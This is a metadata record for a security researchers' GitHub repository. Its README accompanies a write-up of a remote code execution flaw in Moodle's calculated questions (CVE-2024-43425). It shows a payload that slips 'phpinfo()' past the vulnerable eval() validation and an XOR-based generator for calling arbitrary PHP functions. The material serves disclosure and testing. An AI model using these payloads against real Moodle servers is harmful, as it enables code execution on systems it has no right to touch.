{"id":24607384,"url":"https://github.com/redteampentesting/moodle-rce-calculatedquestions","last_synced_at":"2025-06-18T17:38:29.166Z","repository":{"id":254981783,"uuid":"846465649","full_name":"RedTeamPentesting/moodle-rce-calculatedquestions","owner":"RedTeamPentesting","description":"Scripts for Analysis of a RCE in Moodle Calculated Questions (CVE-2024-43425)","archived":false,"fork":false,"pushed_at":"2024-08-23T09:36:55.000Z","size":17,"stargazers_count":17,"open_issues_count":0,"forks_count":6,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-01-24T17:38:04.227Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RedTeamPentesting.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-08-23T09:13:03.000Z","updated_at":"2024-12-04T09:24:45.000Z","dependencies_parsed_at":"2024-08-27T10:20:32.429Z","dependency_job_id":null,"html_url":"https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions","commit_stats":null,"previous_names":["redteampentesting/moodle-rce-calculatedquestions"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RedTeamPentesting%2Fmoodle-rce-calculatedquestions","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RedTeamPentesting%2Fmoodle-rce-calculatedquestions/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RedTeamPentesting%2Fmoodle-rce-calculatedquestions/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RedTeamPentesting%2Fmoodle-rce-calculatedquestions/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RedTeamPentesting","download_url":"https://codeload.github.com/RedTeamPentesting/moodle-rce-calculatedquestions/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244208804,"owners_count":20416161,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-01-24T17:36:54.435Z","updated_at":"2025-03-18T11:23:44.211Z","avatar_url":"https://github.com/RedTeamPentesting.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Scripts to Test Input Validation in Moodle Calculated Questions (CVE-2024-43425)\n\nThis repository contains the companion scripts to the blog post [Back to School - Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/), which describes a remote code execution vulnerability in the Moodle learning platform.\n\n## Test the Validation Logic\nThe scripts in the `validation` directory can be used to directly test input strings against the validation logic used by Moodle to prevent abuse of a call to PHP `eval()`.\n\nAll code snippets were directly adapted from [Moodle's source code](https://github.com/moodle/moodle), using the [4.4.1 release](https://github.com/moodle/moodle/tree/v4.4.1/question/type/calculated) for the vulnerable version and [4.4.2](https://github.com/moodle/moodle/tree/v4.4.2/question/type/calculated) for the fixed version.\nThe scripts include the relevant parts of the `question/type/calculated/questiontype.php` file.\n\nThe `validation.php` file uses the vulnerable validation logic:\n\n```sh\n$ php validation.php '(1)-\u003e{phpinfo()}'\nphpinfo()\nPHP Version =\u003e 8.3.10\n[...]\n```\n\nThis repository also includes the fixed version of the validation code in `validation-fixed.php`:\n\n```sh\n$ php validation-fixed.php '(1)-\u003e{phpinfo()}'\nerror illegalformulasyntax with value: {phpinfo()}\n[...]\n```\n\n## Generate Function Names\n\nThe script `xor-generator.py` can be used to generate expressions based on variable functions, which allow calling arbitrary PHP functions with a single numeric parameter in vulnerable versions of Moodle:\n\n```sh\n$ ./xor-generator.py 'PRINTF'\n((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))\n\n$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))(\"Test\");'\nTest\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fredteampentesting%2Fmoodle-rce-calculatedquestions","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fredteampentesting%2Fmoodle-rce-calculatedquestions","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fredteampentesting%2Fmoodle-rce-calculatedquestions/lists"}